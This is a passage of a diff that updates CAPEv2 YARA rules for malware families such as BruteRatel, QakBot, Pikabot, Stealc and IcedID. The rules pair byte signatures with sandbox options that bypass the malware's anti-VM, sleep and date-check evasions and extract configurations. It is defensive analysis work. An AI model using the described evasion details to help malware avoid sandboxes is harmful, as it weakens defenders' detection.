$key and ( 3 of ( $taskman_* ) or 3 of ( $installers* ) and 1 of ( $rc4decrypt_* ) ) ) + ($outer ) and not ( $inner ) and not ( $date ) } -rule CAPE_Agentteslav4Jit +rule CAPE_Bruterateldate { meta: - description = "AgentTesla V4 JIT native config extractor" + description = "BruteRatel Date Check Bypass" author = "kevoreilly" - id = "a87dca44-4974-543c-9565-487ed99be2a6" - date = "2023-09-13" - modified = "2024-02-27" + id = "94dd5cf3-ed59-51d6-92c8-aee73fe2926b" + date = "2024-07-11" + modified = "2024-07-22" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/AgentTesla.yar#L1-L14" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "8f7144d2a989ce8d291af926b292f5f0f7772e707b0e49797eba13ecf91b90bc" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/BruteRatel.yar#L28-L39" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "88589b2d08aea03565668ff1b9af20b6fe11cda50d867c60db7cb4d1826b0fd7" score = 75 quality = 70 tags = "" - cape_options = "bp0=$decode1+8,count=0,action0=string:ecx,typestring=AgentTesla Strings,no-logs=2" - packed = "7f8a95173e17256698324886bb138b7936b9e8c5b9ab8fffbfe01080f02f286c" + cape_options = "clear,bp1=$inner*,action1=scan,bp2=$date+6,action2=skip,count=0" strings: - $decode1 = {8B 01 8B 40 3C FF 50 10 8B C8 E8 [4] 89 45 CC B8 1A 00 00 00} - $decode2 = {83 F8 18 75 2? 8B [2-5] D1 F8} - $decode3 = {8D 4C 0? 08 0F B6 01 [0-3] 0F B6 5? 04 33 C2 88 01 B8 19 00 00 00} + $inner = {88 E3 32 1C 0E 88 5C 15 00 48 8D 49 01 48 8D 52 01 38 C1 76 ?? 48 01 CE EB ?? FF} + $date = {48 8B 17 48 85 D2 0F 85 [2] 00 00 8B 47 08 85 C0 0F 85 [2] 00 00} condition: - 2 of them + any of them } -rule CAPE_Agentteslav3Jit +rule CAPE_Bruteratelconfig { meta: - description = "AgentTesla V3 JIT native string decryption" - author = "ClaudioWayne" - id = "590c5058-c1db-5366-8db5-57449a178999" - date = "2023-09-13" - modified = "2024-02-27" + description = "BruteRatel Config Extraction" + author = "kevoreilly" + id = "5ae680b0-5ad2-5e82-87f8-b0af4fec18de" + date = "2024-07-11" + modified = "2024-07-22" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/AgentTesla.yar#L16-L26" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "62a49cf4295df637f96ba7c127cfc4aeb9af2fcced497fdf34d726a062edc1ec" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/BruteRatel.yar#L41-L51" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "b1815aafec940ab6c8daafc68ccf294845221ada260de5209dcb7e49ccd061c7" score = 75 quality = 70 tags = "" - cape_options = "bp0=$decode+20,count=0,action0=string:eax+8,typestring=AgentTesla Strings,no-logs=2" + cape_options = "clear,br1=$decode,count=0,action0=string:eax,typestring=BruteRatel Config" strings: - $decode = {8B C8 57 FF 75 08 8B [5] 8B 01 8B 40 3C FF [2] 8B F0 B8 03 00 00 00} + $decode = {55 57 56 53 48 83 EC ?? 31 C0 48 89 CB 48 89 D7 44 89 C6 44 89 CD 44 39 01 77 ?? 41 8D 48 01 E8 [4] 31 C9} condition: all of them } -rule CAPE_Icedidsyscallwritemem : FILE +rule CAPE_Hijackloaderstub { meta: - description = "IcedID 'syscall' packer bypass - direct write variant" + description = "HijackLoader Stub Executable" author = "kevoreilly" - id = "67935058-4191-587f-ad19-497defd0eef1" - date = "2021-03-30" - modified = "2023-11-28" + id = "53363a3a-7f2a-52a6-8c0a-5f03fd121f70" + date = "2026-01-26" + modified = "2026-01-26" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6b068106b038e9efeb9057cadf314d400c1ada1a1cc70336d3272da3a212c993" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/HijackLoader.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "686a19a416b94f6ccdd1891ff027452c84b2171ee4268ff971f490e18948a6f5" score = 75 quality = 70 - tags = "FILE" - cape_options = "bp0=$tokencheck+9,action0=jmp,count=0" - packed = "28075ecae5e224c06e250f2c949c826b81844bca421e9158a7a9e965a29ef894" - packed = "045dff9f14a03225df55997cb2ca74ff60ecaf317b9e033ea93386785db84161" + tags = "" + cape_options = "dump-limit=0,dump" strings: - $tokencheck = {39 5D ?? 75 06 83 7D ?? 03 74 05 BB 01 00 00 00 41 89 1C ?? 48 8B 4D ?? 41 FF D?} + $stub1 = {50 83 C0 10 50 56 8D 85 [4] 50 E8 [4] 83 C7 30 8D 85 [4] 3B F8 74 08 8B 35 [4] EB D3} + $stub2 = {33 C5 89 45 ?? (C6 45 ?? 00|C7 45 ?? 61 7A 2D 2D) 8D 45 ?? FF 75 ?? C7 45 ?? 30 39 41 5A 50 8D 45 (??|?? C7 45 ?? 61 7A 2D 2D) 50 E8} + $app = "\\app-" wide condition: - uint16( 0 ) == 0x5A4D and all of them + 2 of them } -rule CAPE_Icedidhook +rule CAPE_Slowloader { meta: - description = "IcedID hook fix" + description = "SlowLoader detonation aide for slow cpus (thread race)" author = "kevoreilly" - id = "011c9cb7-8080-5f8a-9dca-6397e9bf7bf6" - date = "2021-03-30" - modified = "2023-11-28" + id = "05724bf4-b767-542d-a2dd-a9ae3e5ea5cc" + date = "2024-09-23" + modified = "2024-09-23" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L15-L25" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "fd62e0ed6f2a18472fa9336daee0e8a3a55e21779a8385394e85f96da928e24f" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/SlowLoader.yar#L1-L12" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "f07528c646ebd980a5e843caa4a4715e31b22c3cd091576600e9fe45d7fc2fe4" score = 75 quality = 70 tags = "" - cape_options = "ntdll-protect=0" + cape_options = "break-on-return=CreateProcessA,action0=sleep:1000,count=0" + packed = "f6eeb73ffb3e6d6cc48f74344cb590614db7e3116ba00a52aefd7dff468a60a5" strings: - $hook = {C6 06 E9 83 E8 05 89 46 01 8D 45 ?? 50 FF 75 ?? 6A 05 56 6A FF E8 2D FA FF FF} + $code = {0F B6 44 07 08 0F B6 54 1F 08 03 C2 25 FF 00 00 80 79 07 48 0D 00 FF FF FF 40 89 45 ?? 6A 00} condition: any of them } -rule CAPE_Icedidpackera : FILE +rule CAPE_Amatera : FILE { meta: - description = "IcedID export selection" + description = "Amatera syscall capture" author = "kevoreilly" - id = "d793d8a1-0e17-56ad-933c-470e2290867b" - date = "2021-03-30" - modified = "2023-11-28" + id = "0d58a054-8636-58d8-99b9-26560aa6c187" + date = "2025-06-25" + modified = "2025-06-25" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L27-L40" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "fbad60002286599ca06d0ecb3624740efbf13ee5fda545341b3e0bf4d5348cfe" - logic_hash = "aa0681e7794546355e6d61f739c49035a493cdfca7e666531d74e3835ec44408" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Amatera.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "35eb93548a0c037d392f870c05e0e9fb1aeff3a5a505e1d4a087f7465ed1f6af" + logic_hash = "1c02f04846568b85acbd4101b2e944dc824179f7cff1bceaec1c657939b610d5" score = 75 quality = 70 tags = "FILE" - cape_options = "export=$export" + cape_options = "sysbp=$sysenter" strings: - $init = "init" - $export = {48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 81 EC [2] 00 00 41 8B E9 49 8B F0 48 8B FA 48 8B D9} - $alloc = {8B 50 50 33 C9 44 8D 49 40 41 B8 00 30 00 00 FF 15 [4] 48 89 44 24 28 [0-3] 48 89 84 24 ?? 00 00 00 E9} + $sysenter = {64 FF 15 C0 00 00 00 C3} + $harness = {0F B7 55 EC 52 E8 [4] 83 C4 04 C7 45 F0 [4] 8B 45 ?? 50 [0-40] FF 55 F0 83 C4 ?? 8B E5 5D C3} + $socket = {66 89 [2] 6A 00 6A ?? 8D [3] 68 (03|07) 20 01 00 8B 4D F8 E8 [4] 0F B6 (C0|C8) 85 (C0|C9) 75 04 32 C0 EB} condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Icedidpackerb : FILE +rule CAPE_Pikahook : FILE { meta: - description = "IcedID export selection" + description = "Pikabot anti-hook bypass" author = "kevoreilly" - id = "6bd0e64d-e60e-5cd2-af79-946a7f6dc9f5" - date = "2021-03-30" - modified = "2023-11-28" + id = "e1b7a807-135f-52d7-bc36-c0419e82b424" + date = "2024-03-07" + modified = "2024-03-12" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L42-L56" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "6517ef2c579002ec62ddeb01a3175917c75d79ceca355c415a4462922c715cb6" - logic_hash = "fde1e2c0124d180b2fa3d0675b35e8d78fdd7b06cd27e9228c148aa29ce30ee7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Pikabot.yar#L1-L14" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "2a50a5f2d905122a5b7ac8ca3666b47caa24d325e246841129e53807daf2a1dd" score = 75 quality = 70 tags = "FILE" - cape_options = "export=$export" + cape_options = "clear,sysbp=$indirect+40,sysbpmode=1,force-sleepskip=1" + packed = "89dc50024836f9ad406504a3b7445d284e97ec5dafdd8f2741f496cac84ccda9" strings: - $init = "init" - $export = {44 89 4C 24 20 4C 89 44 24 18 48 89 4C 24 08 41 55 41 56 41 57 48 81 EC ?? 00 00 00 B9 [2] 00 00 4C 8B EA E8} - $loop = {8B C2 48 8D 49 01 83 E0 07 FF C2 0F B6 44 30 ?? 30 41 FF 3B D5 72} + $indirect = {31 C0 64 8B 0D C0 00 00 00 85 C9 74 01 40 50 8D 54 24 ?? E8 [4] A3 [4] 8B 25 [4] A1 [4] FF 15} + $sysenter1 = {89 44 24 08 8D 85 20 FC FF FF C7 44 24 04 FF FF 1F 00 89 04 24 E8} + $sysenter2 = {C7 44 24 0C 00 00 00 02 C7 44 24 08 00 00 00 02 8B 45 0C 89 44 24 04 8B 45 08 89 04 24 E8} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and 2 of them } -rule CAPE_Icedidpackerc : FILE +rule CAPE_Pikexport : FILE { meta: - description = "IcedID export selection" + description = "Pikabot export selection" author = "kevoreilly" - id = "fddfd0d2-1bc0-56bb-b983-5850e17a3d0f" - date = "2021-03-30" - modified = "2023-11-28" + id = "7d2432f2-90ae-5ad0-b579-5789a1c14a08" + date = "2024-03-07" + modified = "2024-03-12" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L58-L71" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "c06805b6efd482c1a671ec60c1469e47772c8937ec0496f74e987276fa9020a5" - hash = "265c1857ac7c20432f36e3967511f1be0b84b1c52e4867889e367c0b5828a844" - logic_hash = "f1e75e380ab0947fdfda012b7a5077a1c2ef51163239846ab2dc29cac95ba166" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/Pikabot.yar#L16-L28" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "238dcc5611ed9066b63d2d0109c9b623f54f8d7b61d5f9de59694cfc60a4e646" + logic_hash = "33f58703a0e40c2361343dbdcc17111aafbf5cc912393edda79005c6ec566f42" score = 75 quality = 70 tags = "FILE" cape_options = "export=$export" strings: - $export = {44 89 4C 24 20 4C 89 44 24 18 48 89 54 24 10 3A ED 74} - $alloc = {41 B8 00 10 00 00 8B D0 33 C9 66 3B ?? (74|0F 84)} + $export = {55 8B EC 83 EC ?? C6 45 [2] C6 45 [2] C6 45 [2] C6 45 [2] C6 45} + $pe = {B8 08 00 00 00 6B C8 00 8B 55 ?? 8B 45 ?? 03 44 0A 78 89 45 ?? 8B 4D ?? 8B 51 18 89 55 E8 C7 45 F8 00 00 00 00} condition: uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Icedidpackerd : FILE +rule CAPE_Qakbot5 : FILE { meta: - description = "IcedID export selection" + description = "QakBot WMI anti-anti-vm" author = "kevoreilly" - id = "df0ca4bd-1ea6-57ef-b85a-7ed0e2a20831" - date = "2021-03-30" - modified = "2023-11-28" + id = "d287b043-15df-5865-ad4c-9eb64ceec04c" + date = "2022-03-16" + modified = "2024-02-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L73-L86" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "7b226f8cc05fa7d846c52eb0ec386ab37f9bae04372372509daa6bacc9f885d8" - logic_hash = "6685e0246f5a11ce0ca33447837de06506b447a5f8591423e2b76f2ab0274dc7" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/QakBot.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "303ea2d8d1a7f0fd0ca5508dae2c1b83c03b1e3e975760f15d36d93bcc152767" score = 75 quality = 70 tags = "FILE" - cape_options = "export=$export" + cape_options = "bp0=$loop+35,action0=skip,count=0" + packed = "f4bb0089dcf3629b1570fda839ef2f06c29cbf846c5134755d22d419015c8bd2" strings: - $init = "init" - $export = {44 89 4C 24 20 4C 89 44 24 18 48 89 54 24 10 66 3B ED 74} - $load = {41 B8 00 80 00 00 33 D2 48 8B 4C [2] EB ?? B9 69 04 00 00 E8 [4] 48 89 84 [2] 00 00 00 66 3B ED 74} + $loop = {8B 75 ?? 48 8B 4C [2] FF 15 [4] 48 8B 4C [2] 48 8B 01 FF 50 ?? 8B DE 48 8B 4C [2] 48 85 C9 0F 85 [4] EB 4E} + $conf = {0F B7 1D [4] B9 [2] 00 00 E8 [4] 8B D3 48 89 45 ?? 45 33 C9 48 8D 0D [4] 4C 8B C0 48 8B F8 E8} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Icedsleep : FILE +rule CAPE_Qakbot4 : FILE { meta: - description = "IcedID sleep bypass" + description = "QakBot Config Extraction" author = "kevoreilly" - id = "d6bd708b-47bc-5620-b40e-8fe5f1a67ba4" - date = "2021-03-30" - modified = "2023-11-28" + id = "401184cf-bbd7-5afe-9589-470f54721af1" + date = "2022-03-16" + modified = "2024-02-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/IcedID.yar#L88-L99" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "0b1a8be95b1b8a3b066837f9e47561ee8202d741b39d64e626c0461c2fbf7c70" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/QakBot.yar#L15-L29" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "ad75b07b9b786f634fd46cbe6dc089d3f732673320e70714e8ab058f0392c9f5" score = 75 quality = 70 tags = "FILE" - cape_options = "force-sleepskip=1" - packed = "e99f3517a36a9f7a55335699cfb4d84d08b042d47146119156f7f3bab580b4d7" + cape_options = "bp0=$params+23,action0=setdump:eax::ecx,bp1=$c2list1+40,bp1=$c2list2+38,action1=dump,bp2=$conf+13,action2=dump,count=1,typestring=QakBot Config" + packed = "f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68" strings: - $sleep = {89 4C 24 08 48 83 EC 38 8B 44 24 40 48 69 C0 10 27 00 00 48 F7 D8 48 89 44 24 20 48 8D 54 24 20 33 C9 FF 15 [4] 48 83 C4 38 C3} + $params = {8B 7D ?? 8B F1 57 89 55 ?? E8 [4] 8D 9E [2] 00 00 89 03 59 85 C0 75 08 6A FC 58 E9} + $c2list1 = {59 59 8D 4D D8 89 45 E0 E8 [4] 8B 45 E0 85 C0 74 ?? 8B 90 [2] 00 00 51 8B 88 [2] 00 00 6A 00 E8} + $c2list2 = {59 59 8B F8 8D 4D ?? 89 7D ?? E8 [4] 85 FF 74 52 8B 97 [2] 00 00 51 8B 8F [2] 00 00 53 E8} + $conf = {5F 5E 5B C9 C3 51 6A 00 E8 [4] 59 59 85 C0 75 01 C3} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and any of them } -rule CAPE_Stealcanti : FILE +rule CAPE_Qakbotloader : FILE { meta: - description = "Stealc detonation bypass" + description = "QakBot Export Selection" author = "kevoreilly" - id = "32e5c1cf-ef57-58eb-9deb-fab0064cc676" - date = "2023-02-22" - modified = "2025-09-01" + id = "b2d5ef1c-0651-5249-9c4b-7e83235d4a30" + date = "2022-03-16" + modified = "2024-02-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Stealc.yar#L1-L13" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - hash = "77d6f1914af6caf909fa2a246fcec05f500f79dd56e5d0d466d55924695c702d" - logic_hash = "4132e8094b0b49a89e9f40a8b1a6abbf105bbb04e4ddf3ce739e39fc2baf0d13" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/QakBot.yar#L31-L46" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "6f99171c95a8ed5d056eeb9234dbbee123a6f95f481ad0e0a966abd2844f0e1a" + logic_hash = "00869c0a9bf62cde3f46ca915b0ef689557b09dc58d6de34609e3998abfa7e98" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$anti+17,action0=skip,count=1" + cape_options = "export=$export1,export=$export2,export=$export3" strings: - $anti = {53 57 57 57 FF 15 [4] 8B F0 74 03 75 01 B8 E8 [4] 74 03 75 01 B8} - $decode = {6A 03 33 D2 8B F8 59 F7 F1 8B C7 85 D2 74 04 2B C2 03 C1 6A 06 C1 E0 03 33 D2 59 F7 F1} + $export1 = {55 8B EC 83 EC 50 (3A|66 3B) ?? 74} + $export2 = {55 8B EC 3A ?? 74 [8-16] 74 [6-16] EB} + $export3 = {55 8B EC 66 3B ?? 74 [3-5] 74} + $wind = {(66 3B|3A) ?? 74 [1-14] BB 69 04 00 00 53 E? [5-20] 74} + $getteb = {EB 00 55 8B EC 66 3B E4 74 ?? [1-5] 64 A1 18 00 00 00 5D EB} condition: - uint16( 0 ) == 0x5A4D and all of them + uint16( 0 ) == 0x5A4D and ( any of ( $export* ) ) and ( $wind or $getteb ) } -rule CAPE_Stealcstrings : FILE +rule CAPE_Qakbotantivm { meta: - description = "Stealc string decryption" + description = "QakBot AntiVM bypass" author = "kevoreilly" - id = "087b5532-e1e7-5df9-adb2-bf758c8ba352" - date = "2023-02-22" - modified = "2025-09-01" + id = "7446522a-788a-512d-ad68-2fcc56169f5a" + date = "2022-03-16" + modified = "2024-02-16" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Stealc.yar#L15-L26" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "6d402446a979c00b6257ace9924db381d98c530b22968bd2776c66d58c7faefc" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/QakBot.yar#L48-L59" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "e269497ce458b21c8427b3f6f6594a25d583490930af2d3395cb013b20d08ff7" + logic_hash = "20f1cd28f38945a3aa328e77e78525fb1ffc47ecf54d5a40c2f18264c3973989" score = 75 quality = 70 - tags = "FILE" - cape_options = "bp0=$decode+17,action0=string:edx,count=0,typestring=Stealc Strings" - packed = "d0c824e886f14b8c411940a07dc133012b9eed74901b156233ac4cac23378add" + tags = "" + cape_options = "bp0=$antivm1,action0=unwind,count=1" strings: - $decode = {51 8B 15 [4] 52 8B 45 ?? 50 E8 [4] 83 C4 0C 6A 04 6A 00 8D 4D ?? 51 FF 15 [4] 83 C4 0C 8B 45 ?? 8B E5 5D C3} + $antivm1 = {55 8B EC 3A E4 0F [2] 00 00 00 6A 04 58 3A E4 0F [2] 00 00 00 C7 44 01 [5] 81 44 01 [5] 66 3B FF 74 ?? 6A 04 58 66 3B ED 0F [2] 00 00 00 C7 44 01 [5] 81 6C 01 [5] EB} condition: - uint16( 0 ) == 0x5A4D and any of them + all of them } -rule CAPE_Stealcv2Strings : FILE +rule CAPE_Cargobayloader : FILE { meta: - description = "StealcV2 string decryption" + description = "CargoBayLoader anti-vm bypass" author = "kevoreilly" - id = "d99fcc9c-35cc-5494-a0cd-738f3ae8d367" - date = "2023-02-22" - modified = "2025-09-01" + id = "5b347863-0bea-55d2-aaf3-b3d6e604be89" + date = "2023-02-20" + modified = "2023-02-20" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Stealc.yar#L28-L43" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "923f70edb3ad70957576994008729bf7a087479eed1973c42161aa96fa694baa" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/CargoBayLoader.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + hash = "75e975031371741498c5ba310882258c23b39310bd258239277708382bdbee9c" + logic_hash = "1d5c4ca79f97e1fac358189a8c6530be12506974fc2fb42f63b0b621536a45c9" score = 75 quality = 70 tags = "FILE" - cape_options = "bp0=$decode32*,action0=string:[esp],bp1=$decode64,action1=string:eax,bp2=$dump,action2=dumpstrings,count=0,typestring=Stealc Strings" - packed = "2f42dcf05dd87e6352491ff9d4ea3dc3f854df53d548a8da0c323be42df797b6" - packed = "8301936f439f43579cffe98e11e3224051e2fb890ffe9df680bbbd8db0729387" + cape_options = "bp0=$jmp1+4,action0=skip,bp1=$jmp2+2,action1=skip,count=1,force-sleepskip=1" strings: - $decode32 = {AB AB AB AB 8B 45 0C 89 4E 10 89 4E 14 39 45 08 75 0B C7 46 14 0F 00 00 00 88 0E EB 0F 2B 45 08 50 51 FF 75 ?? 8B} - $decode64 = {40 53 48 83 EC 20 48 8B 19 48 85 DB 74 ?? 48 8B 53 18 48 83 FA 0F 76 2C 48 8B 0B 48 FF C2 48 81 FA 00 10 00 00 72} - $dump32 = {33 C0 89 46 30 88 46 34 89 46 38 89 46 3C 89 46 40 89 46 44 89 46 48 89 46 4C 89 46 50 89 46 54 89 46 58 8B C6 5F 5E C3} - $dump64 = {48 8B C7 89 6F 40 40 88 6F 44 48 89 6F 48 48 89 6F 50 48 89 6F 58 48 89 6F 60 48 89 6F 68 48 89 6F 70 48 89 6F 78 48 89} + $jmp1 = {40 42 0F 00 0F 82 [2] 00 00 48 8D 15 [4] BF 04 00 00 00 41 B8 04 00 00 00 4C 8D [3] 4C 89 F1 E8} + $jmp2 = {84 DB 0F 85 [2] 00 00 48 8D 15 [4] 41 BE 03 00 00 00 41 B8 03 00 00 00 4C 8D 7C [2] 4C 89 F9 E8} condition: - uint16( 0 ) == 0x5A4D and 2 of them + uint16( 0 ) == 0x5A4D and all of them } -rule CAPE_Stealcv2Datecheck : FILE +rule CAPE_Heavenssyscall : FILE { meta: - description = "StealcV2 date check bypass" + description = "Bypass variants of heaven's gate direct syscalls" author = "kevoreilly" - id = "4969d005-3532-5b75-9fa9-10e09bab338e" - date = "2023-02-22" - modified = "2025-09-01" + id = "7c60102a-ac8b-5e28-8dbb-4b6c3f4cddff" + date = "2024-03-25" + modified = "2024-03-25" reference = "https://github.com/kevoreilly/CAPEv2" - source_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/analyzer/windows/data/yara/Stealc.yar#L45-L56" - license_url = "https://github.com/kevoreilly/CAPEv2/blob/7ace95378cd09c8e26138125761b13750dfc6cb4/LICENSE" - logic_hash = "f074aceb7c111156752891acac8690c00dad7c26240fb0752cc12a9a65aa3d30" + source_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/analyzer/windows/data/yara/HeavensSyscall.yar#L1-L13" + license_url = "https://github.com/kevoreilly/CAPEv2/blob/a9a0887dab232f52c59e955b9984dd494c47ce6b/LICENSE" + logic_hash = "aeb981fcba0936ff8b1be4c601445fd45e5d3b74856a9439d351edd57f5a50c3" score = 75 quality = 70 tags = "FILE" - cape_options = "patch=$date32*-1:B000,patch=$date64*-2:B00090" + cape_options = "clear,br0=$gate1-9,action1=seteax:0,count=0,sysbp=$sysenter+10" + packed = "2950b4131886e06bdb83ab1611b71273df23b0d31a4d8eb6baddd33327d87ffa" strings: - $date32 = {F3 A5 8D 45 ?? 50 E8 [4] 59 8B F8 8B F2 8D 45 ?? 50 E8 [4] 59 3B F2 7C 08 7F 04 3B F8 76 02 B3 01 8A C3} - $date64 = {0F 11 44 [2] 0F 11 8C [2] 00 00 00 89 8C [2] 00 00 00 48 8D 4C [2] E8 [4] 48 8B D8 48 8D 4C [2] E8 [4] 48 3B D8 0F 9F C0} + $gate1 = {00 00 00 00 74 24 8D 45 F8 50 6A FF FF 95 [4] 85 C0 74 08 8B 4D F8 89 4D FC EB 07 C7 45 FC 00 00 00 00 8B 45 FC EB 02 33 C0 8B E5 5D C2 C0} + $sysenter = {68 [4] E8 [4] E8 [4] C2 ?? 00 CC CC CC CC CC CC CC CC} condition: - uint16( 0 ) == 0x5A4D and any of them + uint16( 0 ) == 0x8B55 and all of them } -rule CAPE_Latrodectus : FILE +rule CAPE_Aurastealerbypass { meta: - description = "Latrodectus export selection" + description = "Bypass AuraStealer" + author = "enzok" + id = "e510f46b-de7c-50d1-bff3-97c3acf0452e" + date = "2025-09-02" + modified = "2025-09-02" + reference = "https://github.com/kevoreilly/CAPEv2" + source_url = 